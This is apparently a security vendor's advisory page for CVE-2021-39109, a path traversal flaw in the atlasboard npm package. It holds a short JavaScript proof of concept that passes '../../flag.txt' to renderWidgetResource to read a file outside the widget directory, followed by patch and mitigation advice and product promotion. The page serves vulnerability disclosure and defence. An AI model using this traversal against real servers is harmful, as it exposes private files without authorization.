CVE-2021-39109
HIGHCVE-2021-39109 is a high-severity (CVSS 7.5) Path Traversal vulnerability in atlasboard. O3 Security confirms whether CVE-2021-39109 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Path traversal in atlasboard
Real-World Exposure
atlasboardReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.
PoC
const widget = require(\"atlasboard/lib/webapp/routes/widget\");
// Mock req and res
const req = {};
const res = {
sendFile: (filePath) => {
// Read and return file contents synchronously
const data = fs.readFileSync(filePath, \"utf8\");
console.log(\"Contents of /flag.txt:\");
console.log(data);
},
status: function (code) {
this.statusCode = code;
return this;
},
send: function (msg) {
throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
},
};
// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";
// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";
// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | atlasboard | all versions | 1.1.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for atlasboard. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update atlasboard to 1.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-39109 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2021-39109 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2021-39109. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2021-39109 in your dependencies?
O3 detects CVE-2021-39109 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.